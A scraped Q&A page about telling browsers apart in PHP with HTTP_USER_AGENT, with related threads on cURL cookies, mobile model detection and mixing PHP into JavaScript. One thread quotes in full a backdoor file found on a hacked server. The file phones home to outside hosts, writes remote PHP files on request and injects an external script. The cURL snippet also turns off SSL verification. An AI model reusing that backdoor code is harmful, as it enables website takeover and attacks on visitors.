HTTP_USER_AGENT in PHP says Mozilla for IE - php

I need to be able to specify between IE 11 and Firefox in a PHP script. I have the following function. However, in IE it returns Mozilla. Is there another way to approach this to distinquish between Firefox and IE?
function browser() {
$ua = strtolower($_SERVER['HTTP_USER_AGENT']);
// you can add different browsers with the same way ..
if(preg_match('/(chromium)[ \/]([\w.]+)/', $ua))
$browser = 'chromium';
elseif(preg_match('/(chrome)[ \/]([\w.]+)/', $ua))
$browser = 'chrome';
elseif(preg_match('/(safari)[ \/]([\w.]+)/', $ua))
$browser = 'safari';
elseif(preg_match('/(opera)[ \/]([\w.]+)/', $ua))
$browser = 'opera';
elseif(preg_match('/(msie)[ \/]([\w.]+)/', $ua))
$browser = 'msie';
elseif(preg_match('/(mozilla)[ \/]([\w.]+)/', $ua))
$browser = 'mozilla';
preg_match('/('.$browser.')[ \/]([\w]+)/', $ua, $version);
return array($browser,$version[2],'name'=>$browser,'version'=>$version[2]);
}
Thanks!

Internet Explorer 11 didn't include an "MSIE" string, because they didn't want people to assume that it had the same problems as older versions of IE.
You could add lines like these:
elseif(preg_match('/(trident)[ \/]([\w.]+)/', $ua))
$browser = 'msie';
elseif(preg_match('/(firefox)[ \/]([\w.]+)/', $ua))
$browser = 'firefox';
Every web browser will contain the word "Mozilla" in its user agent string (it dates back to the Netscape era.)

Related

My server was hacked. Somebody uploaded some scripts which I have no idea what those scripts has done to my server

Someone uploaded this script on our server
https://github.com/mIcHyAmRaNe/wso-webshell
And we have found inc.php files in different directories on our server. The inc file has this code in it
<?php
error_reporting(0);
$s='http://a1b2cd.club/';
$host = str_replace('www.', '', #$_SERVER['HTTP_HOST']);
$x = $s.'l-'.base64_encode($host);
if(function_exists('curl_init'))
{
$ch = #curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch);
if($gitt == false){
#$gitt = file_get_contents($x);
}
}elseif(function_exists('file_get_contents')){
#$gitt = file_get_contents($x);
}
echo $gitt;
if(isset($_GET['ksfg'])){
$f=fopen($_GET['ksfg'].'.php','a');
fwrite($f,file_get_contents($s.'s-'.$_GET['ksfg']));
fclose($f);
}
echo '<!DOCTYPE html!>';
?><?php
function GetIP(){
if(getenv("HTTP_CLIENT_IP")) {
$ip = getenv("HTTP_CLIENT_IP");
} elseif(getenv("HTTP_X_FORWARDED_FOR")) {
$ip = getenv("HTTP_X_FORWARDED_FOR");
if (strstr($ip, ',')) {
$tmp = explode (',', $ip);
$ip = trim($tmp[0]);
}
} else {
$ip = getenv("REMOTE_ADDR");
}
return $ip;
}
$x = base64_decode('aHR0cDovL2J5cjAwdC5jby9sLQ==').GetIP().'-'.base64_encode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
if(function_exists('curl_init'))
{
$ch = #curl_init(); curl_setopt($ch, CURLOPT_URL, $x); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $gitt = curl_exec($ch); curl_close($ch);
if($gitt == false){
#$gitt = file_get_contents($x);
}
}elseif(function_exists('file_get_contents')){
#$gitt = file_get_contents($x);
}
?>
</marquee><script src=http://expoilt.com/ccb.js></script>
No idea what this script has done to our server. As our server is hosted on so should we create the new instance? or should we suspend cpanel account from whm and create a new one and copy each and every file there? Please help me to understand what this could code actually do
if you get hacked try to change first all the passwords and recheck the code added by yourself (original version till 3-rd party got into your site ... maybe put site offline till checks ...). Possible to have a defect there, which allowed 3-rd party to upload whatever wanted on your site ! (this have to be fixed)
Regarding the added code, basically it's listing your site contends and ip-s(and some redirects ! - very dangerous for regular users). But what ever 3-rd party is going to do, have no clue ! (when get from outside admin privileges you could say that now it's acting as your_site owner).

How to enable browser cookies using cURL in PHP

I am trying to load an url using cURL. But here I am facing problem with browser cookies. The webpage is asking me to enable browser cookies. My code is like this.
public function execute() {
// Set two default options, and merge any extra ones in
if(!isset($this->options[CURLOPT_TIMEOUT])) $this->options[CURLOPT_TIMEOUT] = 45;
if(!isset($this->options[CURLOPT_COOKIESESSION])) $this->options[CURLOPT_COOKIESESSION] = TRUE;
if(!isset($this->options[CURLOPT_COOKIEJAR])) $this->options[CURLOPT_COOKIEJAR] = 'cookie.txt';
if(!isset($this->options[CURLOPT_RETURNTRANSFER])) $this->options[CURLOPT_RETURNTRANSFER] = TRUE;
if(!isset($this->options[CURLOPT_FOLLOWLOCATION])) $this->options[CURLOPT_FOLLOWLOCATION] = TRUE;
if(!isset($this->options[CURLOPT_USERAGENT])) $this->options[CURLOPT_USERAGENT] = "Mozilla/5.0 (Windows NT 6.1; rv:20.0) Gecko/20100101 Firefox/20.0";
if(!isset($this->options[CURLOPT_AUTOREFERER])) $this->options[CURLOPT_AUTOREFERER] = TRUE;
if(!isset($this->options[CURLOPT_CONNECTTIMEOUT])) $this->options[CURLOPT_CONNECTTIMEOUT] = 15;
if(!isset($this->options[CURLOPT_MAXREDIRS])) $this->options[CURLOPT_MAXREDIRS] = 4;
if(!isset($this->options[CURLOPT_HEADER])) $this->options[CURLOPT_HEADER] = FALSE;
if(!isset($this->options[CURLOPT_SSL_VERIFYPEER])) $this->options[CURLOPT_SSL_VERIFYPEER] = FALSE;
if(!isset($this->options[CURLOPT_FAILONERROR])) $this->options[CURLOPT_FAILONERROR] = FALSE;
if(!isset($this->options[CURLOPT_ENCODING])) $this->options[CURLOPT_ENCODING] = '';
$this->options();
$return = curl_exec($this->session);
// Request failed
if($return === FALSE){
$this->error_code = curl_errno($this->session);
$this->error_string = curl_error($this->session);
curl_close($this->session);
$this->session = NULL;
return $return;
// Request successful
} else {
$this->info = curl_getinfo($this->session);
curl_close($this->session);
$this->session = NULL;
return $return;
}
}
But still facing the same problem, please help me in that.
I know, this is purely restricted by the website
"Before you can move on, please activate your browser cookies. "
I think you forget about CURLOPT_COOKIE, try to set it on TRUE

Php : Finding Chrome and Safari Browsers

I use below code to find user agent,
$user_agent = $_SERVER['HTTP_USER_AGENT'];
if (preg_match('/MSIE/i', $user_agent)) {
echo "Internet Explorer";
}
if (preg_match('/Firefox/i', $user_agent)) {
echo "FireFox";
}
if (strpos( $user_agent, 'Chrome') !== false)
{
echo "Google Chrome";
}
if (strpos( $user_agent, 'Safari') !== false)
{
echo "Safari";
}
if (preg_match('/Opera/i', $user_agent)) {
echo "Opera";
}
?>
But my chrome browser returning below useragent suddenly
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.155 Safari/537.22
It contains the word safari and chrome.so both the browser names are printed.what is the solution for this.thanks.
Chrome's user agent contains Safari but Safari's user agent doesn't contain Chrome so use if ... elseif:
if (stripos( $user_agent, 'Chrome') !== false)
{
echo "Google Chrome";
}
elseif (stripos( $user_agent, 'Safari') !== false)
{
echo "Safari";
}
Note: use stripos instead of strpos to account for case-variations.
Try this :
$browser = get_browser(null, true);
print_r($browser);
From doc : Attempts to determine the capabilities of the user's browser, by looking up the browser's information in the browscap.ini file.
ref: http://php.net/manual/en/function.get-browser.php

How to show model name of mobile when using mobile

$agent = $_SERVER['HTTP_USER_AGENT'];
if(preg_match('/iPhone/i', $agent)){
echo "You're using Iphone";
} else if(preg_match('/Android/i', $agent)){
echo "You're using Iphone";
} else if(preg_match('/Blackberry/i', $agent)){
echo "You're using Blackberry";
}
How to ideas when run a mobile is how model name, ex: Iphone => show model is Iphone 4S
You can do that by using library called WURFL.
This this, you can just easily do:
$user_agent = "Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; NOKIA; Lumia 800)";
$requestingDevice = $wurflManager->getDeviceForUserAgent($user_agent);
$is_wireless = ($requestingDevice->getCapability('is_wireless_device') == 'true');
$is_smarttv = ($requestingDevice->getCapability('is_smarttv') == 'true');
$is_tablet = ($requestingDevice->getCapability('is_tablet') == 'true');
$is_phone = ($requestingDevice->getCapability('can_assign_phone_number') == 'true');

How to include a php file(top.php) inside a javascript code?

i want to include a php fie called top.php into my javascript code if it satisfy the condition. This is a code for checking browser version. what i need is to check the browser name and if its chrome then only need to display the top.php file. But in this code in every browser it include that page.
<script type="text/javascript">
var nVer = navigator.appVersion;
var nAgt = navigator.userAgent;
var browserName = navigator.appName;
var fullVersion = ''+parseFloat(navigator.appVersion);
var majorVersion = parseInt(navigator.appVersion,10);
var nameOffset,verOffset,ix;
// In Opera, the true version is after "Opera" or after "Version"
if ((verOffset=nAgt.indexOf("Opera"))!=-1) {
browserName = "Opera";
fullVersion = nAgt.substring(verOffset+6);
if ((verOffset=nAgt.indexOf("Version"))!=-1)
fullVersion = nAgt.substring(verOffset+8);
}
// In MSIE, the true version is after "MSIE" in userAgent
else if ((verOffset=nAgt.indexOf("MSIE"))!=-1) {
browserName = "Microsoft Internet Explorer";
fullVersion = nAgt.substring(verOffset+5);
}
// In Chrome, the true version is after "Chrome"
else if ((verOffset=nAgt.indexOf("Chrome"))!=-1) {
browserName = "Chrome";
fullVersion = nAgt.substring(verOffset+7);
}
// In Safari, the true version is after "Safari" or after "Version"
else if ((verOffset=nAgt.indexOf("Safari"))!=-1) {
browserName = "Safari";
fullVersion = nAgt.substring(verOffset+7);
if ((verOffset=nAgt.indexOf("Version"))!=-1)
fullVersion = nAgt.substring(verOffset+8);
}
// In Firefox, the true version is after "Firefox"
else if ((verOffset=nAgt.indexOf("Firefox"))!=-1) {
browserName = "Firefox";
fullVersion = nAgt.substring(verOffset+8);
}
// In most other browsers, "name/version" is at the end of userAgent
else if ( (nameOffset=nAgt.lastIndexOf(' ')+1) <
(verOffset=nAgt.lastIndexOf('/')) )
{
browserName = nAgt.substring(nameOffset,verOffset);
fullVersion = nAgt.substring(verOffset+1);
if (browserName.toLowerCase()==browserName.toUpperCase()) {
browserName = navigator.appName;
}
}
// trim the fullVersion string at semicolon/space if present
if ((ix=fullVersion.indexOf(";"))!=-1)
fullVersion=fullVersion.substring(0,ix);
if ((ix=fullVersion.indexOf(" "))!=-1)
fullVersion=fullVersion.substring(0,ix);
majorVersion = parseInt(''+fullVersion,10);
if (isNaN(majorVersion)) {
fullVersion = ''+parseFloat(navigator.appVersion);
majorVersion = parseInt(navigator.appVersion,10);
}
document.write(''
+'Browser name = '+browserName+'<br>'
+'Full version = '+fullVersion+'<br>'
+'Major version = '+majorVersion+'<br>'
+'navigator.appName = '+navigator.appName+'<br>'
+'navigator.userAgent = '+navigator.userAgent+'<br>'
)
var OSName="Unknown OS";
if (navigator.appVersion.indexOf("Win")!=-1) OSName="Windows";
if (navigator.appVersion.indexOf("Mac")!=-1) OSName="MacOS";
if (navigator.appVersion.indexOf("X11")!=-1) OSName="UNIX";
if (navigator.appVersion.indexOf("Linux")!=-1) OSName="Linux";
document.write('Your OS: '+OSName+'<br>');
if(browserName == 'Chrome')
{
document.write("u r using chrome "+fullVersion);
<?php include("top.php") ?> ;
}
else {
alert("Not chrome");
}
</script>
You can't and you shouldn't. The browser doesn't execute any PHP code.
what i need is to check the browser name and if its chrome then only need to display the top.php file. But in this code in every browser it include that page.
I'd be against doing such things on the server side, but if you have to, you can try to check the browser through PHP by examining the request headers.
Try examining $_SERVER['HTTP_USER_AGENT'].
See also: http://php.net/manual/en/function.get-browser.php
In order to decipher what browser your users are using and according to the results include separate PHP files, you can use the $_SERVER['HTTP_USER_AGENT']; or even the built in getBrowser() function - http://php.net/manual/en/function.get-browser.php
<?php
$browser = get_browser(null, true);
print_r($browser);
?>
This code should give you an array similar to this -
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040803 Firefox/0.9.3
Array
(
[browser_name_regex] => ^mozilla/5\.0 (windows; .; windows nt 5\.1; .*rv:.*) gecko/.* firefox/0\.9.*$
[browser_name_pattern] => Mozilla/5.0 (Windows; ?; Windows NT 5.1; *rv:*) Gecko/* Firefox/0.9*
[parent] => Firefox 0.9
[platform] => WinXP
[browser] => Firefox
[version] => 0.9
[majorver] => 0
[minorver] => 9
[cssversion] => 2
...
)
You can then test to see what browser you user is using and include separate files accordingly.
PHP is a sever side language. It runs inside server.
Javascript is client side language. In the sense, it runs in the browser
You cannot include aphp file from client side. Browser can only understand html, js css etc
You have to check the user agent in server array and load the page accordingly.
you can use the
$_SERVER['HTTP_USER_AGENT']; or getBrowser()
Its not possible to include php code in js file . The best way accroding to me is that
put this js script in the head than check the condition browser.
if(browser =='chrome')
{
document.getElementById('top').style.display='block';
}
else
{
document.getElementById('top').style.display='none';
}
<div id='top'>
<?php require_once("top.php"); ?>
</div>

Categories